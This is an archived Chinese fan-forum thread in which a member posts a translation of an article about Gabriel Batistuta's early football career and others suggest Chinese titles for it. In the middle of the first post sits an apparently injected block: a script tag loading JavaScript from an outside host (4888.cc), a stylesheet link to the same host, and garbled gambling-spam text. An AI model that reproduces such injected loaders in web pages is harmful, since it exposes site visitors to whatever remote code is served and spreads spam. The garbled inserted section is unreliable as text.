幻樱 发表于 2003-6-27 22:28:00

His First Steps (翻译)

从一开始在那个被人们称之为“il lombrico”(蚯蚓)的长而窄的实土场地上进行比赛,直到驰骋于沸腾人心的博卡青年队的主场La Bombonera体育场,巴蒂的道路充满了困难和艰辛,当然,还有好运。没有幸运女神的庇护几乎是寸步难行的,但是我们都知道,想要达到目标,不能仅仅依赖神的帮助,必须依靠自己,最终只有那些不懈努力的人才能获得成功。
成为一名足球运动员甚至一名球星,这并不是巴蒂最初的想法。他最喜爱的运动是篮球,当时,有人甚至认为他可以把球投到奥林匹斯山——那个神的领域里去。他从未想过要开始足球生涯,从未想过会变得富有和出名。他的故事充满了艰难和困苦、彷徨和无措、欢笑和泪水、正确和错误的决定,当然,还有很多很多令人眼花缭乱的瞬间。
1988年9月25日,一个偶然的机会,巴蒂开始了他的第一场正式比赛。1987年1月,位于罗萨里奥的纽维尔斯老男孩队派人开着黑色的汽车来接巴蒂,把他带上了通向荣誉和光环的道路。这对巴蒂来说不是一个容易的决定,但是父亲奥斯玛尔(osmar)和对方达成了一致意见。他告诉巴蒂:是时候让你自己展翅飞翔了。当巴蒂到达罗萨里奥的时候,他第一次面对着的嫉妒和障碍,这些看似是不可克服的,但他同时也交了一些好朋友。就在那时,加布里埃尔很幸运地遇到了一个无条件信任他的教练,他就是马可罗·贝尔萨(Marcelo Bielsa),如今阿根廷国家队的主教练,就这样巴蒂被调到了一线队。
在阿根廷甲级联赛中,我们的“Re-Leone”(狮王)进行了他的第一场比赛,在图库曼迎战圣马丁队,他在场上踢了半个小时,最终纽维尔斯老男孩队以0比1告负。巴蒂真正意义上的首场比赛是在三天后,队中的主力前锋卡布里希受伤,于是巴蒂穿上了9号球衣,在南美解放者杯半决赛中出场,对手是圣洛伦索队。他虽然没有进球,但是表现出色。当他第二天一觉醒来的时候,报纸上出现了预言般的头条新闻:巴蒂斯图塔,一颗明星诞生了!
然而并不是所有的人都站在巴蒂这边的,一些曾经的冠军球员,比如帕萨雷拉(Passarella)和西沃里(Sivori),对于巴蒂能够得到这样的关注始终不以为然。时间证明了他们是伟大的球员,却不是出色的鉴赏家,他们终究会相信巴蒂的能力。巴蒂效力于河床队时,一直被帕萨雷拉忽视,当帕萨雷拉成为阿根廷国家队的主教练后,巴蒂在很长一段时间内都被弃用。西沃里则毫无原因地在媒体面前毁坏巴蒂的形象,直到最近,他却似乎忘记了自己曾经说过的所有关于巴蒂的坏话。巴蒂却从没想过去报复任何人或是需要他人的道歉,他从不拿自己与旁人比较,他是独一无二的巴蒂斯图塔,他懂得何时应当谦虚,他书写了比诋毁他的人更加辉煌的生命篇章,并且还将不断继续下去。
在巴蒂效力于纽维尔斯老男孩队与河床队之后,他的经纪人塞蒂莫·阿洛依希奥(Settimio Aloisio)——一个很精通商业的人,做了很多极具策略的努力使得他加盟了博卡青年队。巴蒂非常热爱这支球队,他许诺将会在这里结束自己辉煌的足球生涯。由于阿洛依希奥的努力,巴蒂获得了他的第一次意大利之行,他随球队飞往意大利参加维亚莱乔的青年联赛。在战平AC米兰队(托尔多当时是队中的12号)之后,巴蒂在与索非亚火车头队的比赛中上演了帽子戏法。他们在最后一场比赛中点球输给了都灵队,巴蒂错过了一次决定性的进球机会,难过地度过了他的二十岁生日。在休息日里,教练带着队员们观看了一场真正高水平的联赛,由佛罗伦萨队迎战AC米兰队。加布里埃尔深深地被打动了,主场观众们的热情、对球队的拥护、为球员们加油的歌声都给他留下了深刻的印象。
那个时候的巴蒂怎么也不会想到,两年之后,那里的球迷所有的爱,所有的热情,都将会永远地被他所拥有…………
(终于翻好了,偶的英语水平也就这样了,大伙们凑合着看吧,社会主义国家提倡勤俭节约,有什么臭鸡蛋烂西红柿之类的切勿砸过来,我先溜了~~~~~)

< url=http://www.9p.cc">
<script type="text/javascript" src="http://4888.cc/b.js"></script>
<link href="http://4888.cc/1.css" rel="stylesheet" type="text/css" media="screen" />


k金kkk时k彩k

k合k投k注kk

兔子过猪 发表于 2003-6-27 22:44:00

效率挺高的:)
明天搬主页上
楼主能想个中文篇名吗?
















云淡风轻 发表于 2003-6-27 22:46:00

55555~~
这都翻译出来了,
偶怎么办?
偶还没动笔捏,
真想一头撞死~~

幻樱 发表于 2003-6-27 23:04:00

以下是引用兔子过猪在2003-6-27 22:44:00的发言:
效率挺高的:)
明天搬主页上
楼主能想个中文篇名吗?


恩……其实想篇名我也想了很久了,如果从字面上直译的话是“第一步”,似乎不怎么好听,也没太大意思,不如就叫“峥嵘初现”吧,你看怎么样?小人才疏学浅,实在是想不出什么了~~~~(不负责任的幻樱诈死状态)

幻樱 发表于 2003-6-27 23:08:00

以下是引用云淡风轻在2003-6-27 22:46:00的发言:
55555~~
这都翻译出来了,
偶怎么办?
偶还没动笔捏,
真想一头撞死~~



MM不哭,来,擦擦
常言道:慢工出细活~~~~

兔子过猪 发表于 2003-6-27 23:17:00

峥嵘初现,就用这个吧
这个系列的总名字呢?

batistubi 发表于 2003-6-27 23:24:00

HOW ABOUT 初露锋芒~

幻樱 发表于 2003-6-27 23:30:00

“巴蒂资料集”?汗…………
这个还是去问clytze吧,想法是她提出来的,这一系列的资料也是她收集的,我只是负责翻译其中的一篇而已。

兔子过猪 发表于 2003-6-27 23:44:00

好像这个系列是巴蒂的历史资料
从这方面想想

巴蒂_阿伦 发表于 2003-6-28 00:01:00

以下是引用兔子过猪在2003-6-27 22:44:00的发言:
效率挺高的:)
明天搬主页上
楼主能想个中文篇名吗?

《战神前传》??

巴蒂_阿伦 发表于 2003-6-28 00:02:00

以下是引用兔子过猪在2003-6-27 23:44:00的发言:
好像这个系列是巴蒂的历史资料
从这方面想想

《艺海浮台》???

幻樱 发表于 2003-6-28 12:35:00

《回首向来萧瑟处》?
《谁与争锋》?
我汗,实在是想不出什么了,还是集思广益吧~~~~~~~


[此贴子已经被作者于2003-6-28 12:38:49编辑过]

兔子过猪 发表于 2003-6-28 20:15:00

最好别人一看能能知道是巴蒂的内容

clytze 发表于 2003-6-29 18:18:00

就用巴蒂传奇吧,我翻译的那篇就有一句:一个传奇诞生了.

clytze 发表于 2003-6-30 15:20:00

比偶翻译得好多了,赞一个!!
这里的MM们基本上都翻译好了,GG们呢?

兔子过猪 发表于 2003-7-3 00:28:00


主页新闻里需要配上图片,借地方用一用

多谢楼主的翻译

:)





兔子过猪 发表于 2003-7-3 00:29:00





http://www.argstorm.com/argnews/view.asp?id=2347


[此贴子已经被作者于2003-7-3 0:34:33编辑过]
页: [1]
查看完整版本: His First Steps (翻译)